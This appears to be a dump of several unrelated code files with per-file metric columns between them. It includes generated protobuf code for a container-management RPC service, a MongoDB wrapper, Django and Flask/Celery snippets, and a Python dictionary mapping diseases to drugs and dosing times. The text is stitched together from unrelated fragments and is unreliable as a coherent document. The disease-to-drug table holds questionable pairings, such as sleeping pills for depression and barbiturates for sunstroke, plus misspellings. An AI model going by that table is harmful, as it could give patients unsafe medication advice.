RemoveContainerMessage = _reflection.GeneratedProtocolMessageType('RemoveContainerMessage', (_message.Message,), dict(
DESCRIPTOR = _REMOVECONTAINERMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RemoveContainerMessage)
))
_sym_db.RegisterMessage(RemoveContainerMessage)
ReallocResourceMessage = _reflection.GeneratedProtocolMessageType('ReallocResourceMessage', (_message.Message,), dict(
DESCRIPTOR = _REALLOCRESOURCEMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.ReallocResourceMessage)
))
_sym_db.RegisterMessage(ReallocResourceMessage)
BackupMessage = _reflection.GeneratedProtocolMessageType('BackupMessage', (_message.Message,), dict(
DESCRIPTOR = _BACKUPMESSAGE,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.BackupMessage)
))
_sym_db.RegisterMessage(BackupMessage)
RunAndWaitOptions = _reflection.GeneratedProtocolMessageType('RunAndWaitOptions', (_message.Message,), dict(
DESCRIPTOR = _RUNANDWAITOPTIONS,
__module__ = 'core_pb2'
# @@protoc_insertion_point(class_scope:pb.RunAndWaitOptions)
))
_sym_db.RegisterMessage(RunAndWaitOptions)
_NODE_CPUENTRY.has_options = True
_NODE_CPUENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_NODE_LABELSENTRY.has_options = True
_NODE_LABELSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_ADDNODEOPTIONS_LABELSENTRY.has_options = True
_ADDNODEOPTIONS_LABELSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILD_ENVSENTRY.has_options = True
_BUILD_ENVSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILD_ARGSENTRY.has_options = True
_BUILD_ARGSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILD_LABELSENTRY.has_options = True
_BUILD_LABELSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILD_ARTIFACTSENTRY.has_options = True
_BUILD_ARTIFACTSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILD_CACHEENTRY.has_options = True
_BUILD_CACHEENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_BUILDS_BUILDSENTRY.has_options = True
_BUILDS_BUILDSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_DEPLOYOPTIONS_NETWORKSENTRY.has_options = True
_DEPLOYOPTIONS_NETWORKSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_DEPLOYOPTIONS_METAENTRY.has_options = True
_DEPLOYOPTIONS_METAENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_DEPLOYOPTIONS_NODELABELSENTRY.has_options = True
_DEPLOYOPTIONS_NODELABELSENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_CREATECONTAINERMESSAGE_CPUENTRY.has_options = True
_CREATECONTAINERMESSAGE_CPUENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_CREATECONTAINERMESSAGE_PUBLISHENTRY.has_options = True
_CREATECONTAINERMESSAGE_PUBLISHENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001'))
_CORERPC = _descriptor.ServiceDescriptor(
name='CoreRPC',
full_name='pb.CoreRPC',
file=DESCRIPTOR,
index=0,
options=None,
serialized_start=4592,
serialized_end=5870,
methods=[
_descriptor.MethodDescriptor(
name='ListPods',
full_name='pb.CoreRPC.ListPods',
index=0,
containing_service=None,
input_type=_EMPTY,
output_type=_PODS,
options=None,
),
_descriptor.MethodDescriptor(
name='AddPod',
full_name='pb.CoreRPC.AddPod',
index=1,
containing_service=None,
input_type=_ADDPODOPTIONS,
output_type=_POD,
options=None,
),
_descriptor.MethodDescriptor(
name='RemovePod',
full_name='pb.CoreRPC.RemovePod',
index=2,
containing_service=None,
input_type=_REMOVEPODOPTIONS,
output_type=_EMPTY,
options=None,
),
_descriptor.MethodDescriptor(
name='GetPod',
full_name='pb.CoreRPC.GetPod',
index=3,
containing_service=None,
input_type=_GETPODOPTIONS,
output_type=_POD,
options=None,
),
_descriptor.MethodDescriptor(
name='AddNode',
full_name='pb.CoreRPC.AddNode',
index=4,
containing_service=None,
input_type=_ADDNODEOPTIONS,
output_type=_NODE,
options=None,
),
_descriptor.MethodDescriptor(
name='RemoveNode',
full_name='pb.CoreRPC.RemoveNode',
index=5,
containing_service=None,
input_type=_REMOVENODEOPTIONS,
output_type=_POD,
options=None,
),
_descriptor.MethodDescriptor(
name='GetNode',
full_name='pb.CoreRPC.GetNode',
index=6,
containing_service=None,
input_type=_GETNODEOPTIONS,
output_type=_NODE,
options=None,
),
_descriptor.MethodDescriptor(
name='ListPodNodes',
full_name='pb.CoreRPC.ListPodNodes',
index=7,
containing_service=None,
input_type=_LISTNODESOPTIONS,
output_type=_NODES,
options=None,
),
_descriptor.MethodDescriptor(
name='GetContainer',
full_name='pb.CoreRPC.GetContainer',
index=8,
containing_service=None,
input_type=_CONTAINERID,
output_type=_CONTAINER,
options=None,
),
_descriptor.MethodDescriptor(
name='GetContainers',
full_name='pb.CoreRPC.GetContainers',
index=9,
containing_service=None,
input_type=_CONTAINERIDS,
output_type=_CONTAINERS,
options=None,
),
_descriptor.MethodDescriptor(
name='ListNetworks',
full_name='pb.CoreRPC.ListNetworks',
index=10,
containing_service=None,
input_type=_LISTNETWORKOPTIONS,
output_type=_NETWORKS,
options=None,
),
_descriptor.MethodDescriptor(
name='SetNodeAvailable',
full_name='pb.CoreRPC.SetNodeAvailable',
index=11,
containing_service=None,
input_type=_NODEAVAILABLE,
output_type=_NODE,
options=None,
),
_descriptor.MethodDescriptor(
name='Backup',
full_name='pb.CoreRPC.Backup',
index=12,
containing_service=None,
input_type=_BACKUPOPTIONS,
output_type=_BACKUPMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='GetNodeByName',
full_name='pb.CoreRPC.GetNodeByName',
index=13,
containing_service=None,
input_type=_GETNODEOPTIONS,
output_type=_NODE,
options=None,
),
_descriptor.MethodDescriptor(
name='ContainerDeployed',
full_name='pb.CoreRPC.ContainerDeployed',
index=14,
containing_service=None,
input_type=_CONTAINERDEPLOYEDOPTIONS,
output_type=_EMPTY,
options=None,
),
_descriptor.MethodDescriptor(
name='ListContainers',
full_name='pb.CoreRPC.ListContainers',
index=15,
containing_service=None,
input_type=_DEPLOYSTATUSOPTIONS,
output_type=_CONTAINERS,
options=None,
),
_descriptor.MethodDescriptor(
name='BuildImage',
full_name='pb.CoreRPC.BuildImage',
index=16,
containing_service=None,
input_type=_BUILDIMAGEOPTIONS,
output_type=_BUILDIMAGEMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='RemoveImage',
full_name='pb.CoreRPC.RemoveImage',
index=17,
containing_service=None,
input_type=_REMOVEIMAGEOPTIONS,
output_type=_REMOVEIMAGEMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='DeployStatus',
full_name='pb.CoreRPC.DeployStatus',
index=18,
containing_service=None,
input_type=_DEPLOYSTATUSOPTIONS,
output_type=_DEPLOYSTATUSMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='RunAndWait',
full_name='pb.CoreRPC.RunAndWait',
index=19,
containing_service=None,
input_type=_RUNANDWAITOPTIONS,
output_type=_RUNANDWAITMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='CreateContainer',
full_name='pb.CoreRPC.CreateContainer',
index=20,
containing_service=None,
input_type=_DEPLOYOPTIONS,
output_type=_CREATECONTAINERMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='RemoveContainer',
full_name='pb.CoreRPC.RemoveContainer',
index=21,
containing_service=None,
input_type=_REMOVECONTAINEROPTIONS,
output_type=_REMOVECONTAINERMESSAGE,
options=None,
),
_descriptor.MethodDescriptor(
name='ReallocResource',
full_name='pb.CoreRPC.ReallocResource',
index=22,
containing_service=None,
input_type=_REALLOCOPTIONS,
output_type=_REALLOCRESOURCEMESSAGE,
options=None,
),
])
_sym_db.RegisterServiceDescriptor(_CORERPC)
DESCRIPTOR.services_by_name['CoreRPC'] = _CORERPC
# @@protoc_insertion_point(module_scope)
| 38.046821
| 11,176
| 0.72821
| 16,481
| 131,642
| 5.551119
| 0.037073
| 0.054827
| 0.029621
| 0.041536
| 0.71323
| 0.66295
| 0.653813
| 0.645768
| 0.62958
| 0.605041
| 0
| 0.042226
| 0.134881
| 131,642
| 3,459
| 11,177
| 38.05782
| 0.761103
| 0.026056
| 0
| 0.700961
| 1
| 0.004648
| 0.16316
| 0.113578
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.001859
| 0
| 0.001859
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3bc1ff1f8d5c44fa513c7f6038f0ce29857ad5e7
| 352
|
py
|
Python
|
src/python_mongodb/mongo_client.py
|
sujeek/python_base
|
f636166a8749624379bfe4f245160f953e7f0cde
|
[
"MIT"
] | null | null | null |
src/python_mongodb/mongo_client.py
|
sujeek/python_base
|
f636166a8749624379bfe4f245160f953e7f0cde
|
[
"MIT"
] | null | null | null |
src/python_mongodb/mongo_client.py
|
sujeek/python_base
|
f636166a8749624379bfe4f245160f953e7f0cde
|
[
"MIT"
] | null | null | null |
from pymongo import MongoClient
class MongoDB_Clinet(object):
def __init__(self, mongo_addr):
self.client = MongoClient(mongo_addr)
def init_db(self, db):
return self.client[db]
def init_col(self, db, col):
return self.client[db][col]
def save(self, db, col, data):
self.client[db][col].save(data)
| 20.705882
| 45
| 0.644886
| 50
| 352
| 4.36
| 0.38
| 0.183486
| 0.165138
| 0.165138
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.235795
| 352
| 16
| 46
| 22
| 0.810409
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0.1
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
3bdf5b77cbea0d9a93a92d091293619ff35531b3
| 92
|
py
|
Python
|
machina/apps/forum_conversation/forum_polls/__init__.py
|
BrendaH/django-machina
|
c75b6f39f61ca92745aebb0bb6ab3c707d88063d
|
[
"BSD-3-Clause"
] | 572
|
2015-04-10T06:15:43.000Z
|
2022-03-30T06:40:25.000Z
|
machina/apps/forum_conversation/forum_polls/__init__.py
|
BrendaH/django-machina
|
c75b6f39f61ca92745aebb0bb6ab3c707d88063d
|
[
"BSD-3-Clause"
] | 241
|
2015-10-26T22:23:59.000Z
|
2022-03-25T12:30:56.000Z
|
machina/apps/forum_conversation/forum_polls/__init__.py
|
BrendaH/django-machina
|
c75b6f39f61ca92745aebb0bb6ab3c707d88063d
|
[
"BSD-3-Clause"
] | 156
|
2015-10-02T19:32:08.000Z
|
2022-03-30T06:40:11.000Z
|
default_app_config = 'machina.apps.forum_conversation.forum_polls.apps.ForumPollsAppConfig'
| 46
| 91
| 0.880435
| 11
| 92
| 7
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.032609
| 92
| 1
| 92
| 92
| 0.865169
| 0
| 0
| 0
| 0
| 0
| 0.73913
| 0.73913
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3bf2a314ab436d7b993df4a32fa7a6abb99b49f0
| 32
|
py
|
Python
|
data/studio21_generated/introductory/3734/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/3734/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/3734/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def roll(desc, verbose=False):
| 16
| 30
| 0.71875
| 5
| 32
| 4.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 32
| 2
| 31
| 16
| 0.821429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3bfe5bbdb375a5e1ebe3a357e43d7a3fa8b5f21a
| 86
|
py
|
Python
|
gym/scoreboard/client/__init__.py
|
enterstudio/gym
|
3355287f4c778d21e246a08a2af90696d68aee9f
|
[
"MIT"
] | 49
|
2017-12-11T11:00:02.000Z
|
2022-03-30T05:19:31.000Z
|
gym/scoreboard/client/__init__.py
|
enterstudio/gym
|
3355287f4c778d21e246a08a2af90696d68aee9f
|
[
"MIT"
] | 2
|
2018-01-01T17:39:56.000Z
|
2019-07-24T04:49:08.000Z
|
gym/scoreboard/client/__init__.py
|
enterstudio/gym
|
3355287f4c778d21e246a08a2af90696d68aee9f
|
[
"MIT"
] | 12
|
2017-12-13T11:52:17.000Z
|
2020-12-03T00:53:29.000Z
|
import logging
import os
from gym import error
logger = logging.getLogger(__name__)
| 12.285714
| 36
| 0.802326
| 12
| 86
| 5.416667
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151163
| 86
| 6
| 37
| 14.333333
| 0.890411
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ce2b99299bd1e5ccba63055e376d8d2852069688
| 104
|
py
|
Python
|
project/apps/version_control/apps.py
|
kadufreitas/version-control-api
|
8d08c00817c71444c9d85fa50e2b075a6183ac6b
|
[
"Apache-2.0"
] | 1
|
2019-09-18T13:07:20.000Z
|
2019-09-18T13:07:20.000Z
|
project/apps/version_control/apps.py
|
kadufreitas/version-control-api
|
8d08c00817c71444c9d85fa50e2b075a6183ac6b
|
[
"Apache-2.0"
] | null | null | null |
project/apps/version_control/apps.py
|
kadufreitas/version-control-api
|
8d08c00817c71444c9d85fa50e2b075a6183ac6b
|
[
"Apache-2.0"
] | null | null | null |
from django.apps import AppConfig
class VersionControlConfig(AppConfig):
name = 'version_control'
| 17.333333
| 38
| 0.788462
| 11
| 104
| 7.363636
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.144231
| 104
| 5
| 39
| 20.8
| 0.910112
| 0
| 0
| 0
| 0
| 0
| 0.144231
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ce38c4cea313388738a1b7c6da6ff1215f35a977
| 2,510
|
py
|
Python
|
devMaster/medi-care-devmaster/disease n med/dosage.py
|
siddharth849/COVID-CARE-SYSTEM
|
910edf41ddd9a65dd18c188b7fd17f88758ba347
|
[
"MIT"
] | null | null | null |
devMaster/medi-care-devmaster/disease n med/dosage.py
|
siddharth849/COVID-CARE-SYSTEM
|
910edf41ddd9a65dd18c188b7fd17f88758ba347
|
[
"MIT"
] | null | null | null |
devMaster/medi-care-devmaster/disease n med/dosage.py
|
siddharth849/COVID-CARE-SYSTEM
|
910edf41ddd9a65dd18c188b7fd17f88758ba347
|
[
"MIT"
] | null | null | null |
dict1={'Influenza':['Relenza','B 0 D'],'Swine Flu':['Symmetrel','B L D'],'Cholera':['Ciprofloxacin','B 0 D'],'Typhoid':['Azithromycin','B L D'],'Sunstroke':['Barbiturates','0 0 D'],'Common cold':['Ibuprufen','B 0 D'],'Whooping Cough':['Erthromycin','B 0 D'],'Gastroentritis':['Gelusil','B 0 D'],'Conjunctivitus':['Romycin','B 0 D'],'Dehydration':['ORS','B L D'],'Asthama':['Terbutaline','B L D'],'Cardiac arrest':['Adrenaline','B 0 D'],'Malaria':['Doxycyline','B L D'],'Anaemia':['Hydroxyurea','B 0 D'],'Pneumonia':['Ibuprofen','B 0 D'],'Arthritis':['Lubrijoint 750','B 0 D'],'Depression':['Sleeping Pills','B L D'],'Food poisoning':['Norflox','B 0 D'],'Migraine':['Crocin','B 0 D'],'Insomnia':['Sleeping Pills','B 0 D']}
{'Influenza':'Relenza','Swine Flu':'Symmetrel','Cholera':'Ciprofloxacin','Typhoid':'Azithromycin','Sunstroke':'Barbiturates','Common cold':'Ibuprufen','Whooping Cough':'Erthromycin','Gastroentritis':'Gelusil','Conjunctivitus':'Romycin','Dehydration':'ORS','Asthama':'Terbutaline','Cardiac arrest':'Adrenaline','Malaria':'Doxycyline','Anaemia':'Hydroxyurea','Pneumonia':'Ibuprofen','Arthritis':'Lubrijoint 750','Depression':'Sleeping Pills','Food poisoning':'Norflox','Migraine':'Crocin','Insomnia':'Sleeping Pills'}
dict1={'Influenza':['Relenza','After Breakfast 0 After Dinner'],'Swine Flu':['Symmetrel','After Breakfast After Lunch After Dinner'],'Cholera':['Ciprofloxacin','After Breakfast 0 After Dinner'],'Typhoid':['Azithromycin','After Breakfast After Lunch After Dinner'],'Sunstroke':['After Breakfastarbiturates','0 0 After Dinner'],'Common cold':['Ibuprufen','After Breakfast 0 After Dinner'],'Whooping Cough':['Erthromycin','After Breakfast 0 After Dinner'],'Gastroentritis':['Gelusil','After Breakfast 0 After Dinner'],'Conjunctivitus':['Romycin','After Breakfast 0 After Dinner'],'Dehydration':['ORS','After Breakfast After Lunch After Dinner'],'Asthama':['Terbutaline','After Breakfast After Lunch After Dinner'],'Cardiac arrest':['Adrenaline','After Breakfast 0 After Dinner'],'Malaria':['Doxycyline','B After Lunch After Dinner'],'Anaemia':['Hydroxyurea','After Breakfast 0 After Dinner'],'Pneumonia':['Ibuprofen','After Breakfast 0 After Dinner'],'Arthritis':['Lubrijoint 750','After Breakfast 0 After Dinner'],'Depression':['Sleeping Pills','After Breakfast After Lunch After Dinner'],'Food poisoning':['Norflox','After Breakfast 0 After Dinner'],'Migraine':['Crocin','After Breakfast 0 After Dinner'],'Insomnia':['Sleeping Pills','After Breakfast 0 After Dinner']}
| 313.75
| 1,267
| 0.712749
| 311
| 2,510
| 5.752412
| 0.180064
| 0.122974
| 0.093907
| 0.145333
| 0.286752
| 0.09782
| 0
| 0
| 0
| 0
| 0
| 0.017417
| 0.062151
| 2,510
| 7
| 1,268
| 358.571429
| 0.742566
| 0
| 0
| 0
| 0
| 0
| 0.768127
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
cbed35dd3cc40552b011bda0cae62fb9cc77e756
| 61
|
py
|
Python
|
onenote_to_md/__main__.py
|
FL1CK/onenote-to-md
|
b482c20cf8104fcc4c7496848efb554d27b634f5
|
[
"MIT"
] | null | null | null |
onenote_to_md/__main__.py
|
FL1CK/onenote-to-md
|
b482c20cf8104fcc4c7496848efb554d27b634f5
|
[
"MIT"
] | null | null | null |
onenote_to_md/__main__.py
|
FL1CK/onenote-to-md
|
b482c20cf8104fcc4c7496848efb554d27b634f5
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
from .application import main
main()
| 10.166667
| 29
| 0.721311
| 9
| 61
| 4.888889
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147541
| 61
| 5
| 30
| 12.2
| 0.846154
| 0.327869
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
022b23adea5ecdb77a71a70a22d5f90a8ebbd82e
| 104
|
py
|
Python
|
Chapter02/tests/test_helpers.py
|
carltyndall/Serverless-Design-Patterns-and-Best-Practices
|
c15f8b8d0023f40c8f8e49e5e43ce42408a4ca59
|
[
"MIT"
] | 37
|
2017-11-13T14:22:43.000Z
|
2022-03-08T17:09:19.000Z
|
Chapter03/tests/test_helpers.py
|
saibaldas/Serverless-Design-Patterns-and-Best-Practices
|
c15f8b8d0023f40c8f8e49e5e43ce42408a4ca59
|
[
"MIT"
] | 4
|
2021-03-01T23:27:55.000Z
|
2022-03-08T22:51:30.000Z
|
Chapter03/tests/test_helpers.py
|
carltyndall/Serverless-Design-Patterns-and-Best-Practices
|
c15f8b8d0023f40c8f8e49e5e43ce42408a4ca59
|
[
"MIT"
] | 24
|
2018-04-13T09:08:12.000Z
|
2022-03-31T15:16:44.000Z
|
import pytest
from cupping.helpers import (
utcnow,
)
def test_utcnow():
assert utcnow()
| 10.4
| 29
| 0.653846
| 12
| 104
| 5.583333
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.259615
| 104
| 9
| 30
| 11.555556
| 0.87013
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.166667
| true
| 0
| 0.333333
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
022f0d81f53ac4573fa85b26a2b9807300e8a1df
| 165
|
py
|
Python
|
tests/app_test.py
|
Suspir0n/Care-API
|
13e9a5116b77a81ed356ab6a8f1d0db1eb8b9a00
|
[
"MIT"
] | 1
|
2021-02-08T13:33:43.000Z
|
2021-02-08T13:33:43.000Z
|
tests/app_test.py
|
Suspir0n/Care-API
|
13e9a5116b77a81ed356ab6a8f1d0db1eb8b9a00
|
[
"MIT"
] | null | null | null |
tests/app_test.py
|
Suspir0n/Care-API
|
13e9a5116b77a81ed356ab6a8f1d0db1eb8b9a00
|
[
"MIT"
] | null | null | null |
def test_app_is_created(app):
assert app.name == 'care_api.app'
def test_request_returns_404(client):
assert client.get('/url_not_found').status_code == 404
| 33
| 58
| 0.751515
| 27
| 165
| 4.222222
| 0.703704
| 0.122807
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041379
| 0.121212
| 165
| 5
| 58
| 33
| 0.744828
| 0
| 0
| 0
| 0
| 0
| 0.156627
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| false
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
023ca77532af05f786e449f72e6d54efa8c8a722
| 206
|
py
|
Python
|
{{cookiecutter.project_name}}/{{cookiecutter.app_name}}/celery_app.py
|
juforg/cookiecutter-flask-restful
|
66baa09d5401cc76678fe860074ec7aacc8056b3
|
[
"MIT"
] | 1
|
2021-06-09T05:56:14.000Z
|
2021-06-09T05:56:14.000Z
|
{{cookiecutter.project_name}}/{{cookiecutter.app_name}}/celery_app.py
|
juforg/cookiecutter-flask-restful
|
66baa09d5401cc76678fe860074ec7aacc8056b3
|
[
"MIT"
] | null | null | null |
{{cookiecutter.project_name}}/{{cookiecutter.app_name}}/celery_app.py
|
juforg/cookiecutter-flask-restful
|
66baa09d5401cc76678fe860074ec7aacc8056b3
|
[
"MIT"
] | 1
|
2021-06-09T05:56:10.000Z
|
2021-06-09T05:56:10.000Z
|
from flask.cli import load_dotenv
from {{cookiecutter.app_name}}.app import init_celery
load_dotenv()
app = init_celery()
app.conf.imports = app.conf.imports + ("{{cookiecutter.app_name}}.tasks.example",)
| 29.428571
| 82
| 0.76699
| 30
| 206
| 5.066667
| 0.5
| 0.131579
| 0.25
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087379
| 206
| 6
| 83
| 34.333333
| 0.808511
| 0
| 0
| 0
| 0
| 0
| 0.18932
| 0.18932
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.6
| null | null | 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
65f1a6a72d92b0d23a26ebdcb082278deee23bb7
| 286
|
py
|
Python
|
cv_validator/checks/data/__init__.py
|
ningeen/cv-validator
|
477e41f663da8ac5fda41fa703b65a8faec79f1c
|
[
"MIT"
] | 1
|
2022-02-22T20:49:05.000Z
|
2022-02-22T20:49:05.000Z
|
cv_validator/checks/data/__init__.py
|
ningeen/cv-validator
|
477e41f663da8ac5fda41fa703b65a8faec79f1c
|
[
"MIT"
] | null | null | null |
cv_validator/checks/data/__init__.py
|
ningeen/cv-validator
|
477e41f663da8ac5fda41fa703b65a8faec79f1c
|
[
"MIT"
] | null | null | null |
from .brightness_check import BrightnessCheck
from .color_shift import ColorShift
from .find_duplicates import EmbeddingDuplicates, HashDuplicates
from .image_size import ImageSize
from .label_distribution import ClassifierLabelDistribution
from .train_test_shift import TrainTestShift
| 40.857143
| 64
| 0.888112
| 32
| 286
| 7.71875
| 0.65625
| 0.089069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087413
| 286
| 6
| 65
| 47.666667
| 0.94636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5a4093c2fe312f1abcdd01464d151aa16d143232
| 54
|
py
|
Python
|
backend/doppelkopf/wsgi.py
|
lkoehl/doppelkopf
|
fe80fc10cd8296da2a4ab97afb502eb69e50fb9b
|
[
"MIT"
] | null | null | null |
backend/doppelkopf/wsgi.py
|
lkoehl/doppelkopf
|
fe80fc10cd8296da2a4ab97afb502eb69e50fb9b
|
[
"MIT"
] | null | null | null |
backend/doppelkopf/wsgi.py
|
lkoehl/doppelkopf
|
fe80fc10cd8296da2a4ab97afb502eb69e50fb9b
|
[
"MIT"
] | null | null | null |
from doppelkopf import create_app
app = create_app()
| 13.5
| 33
| 0.796296
| 8
| 54
| 5.125
| 0.625
| 0.439024
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
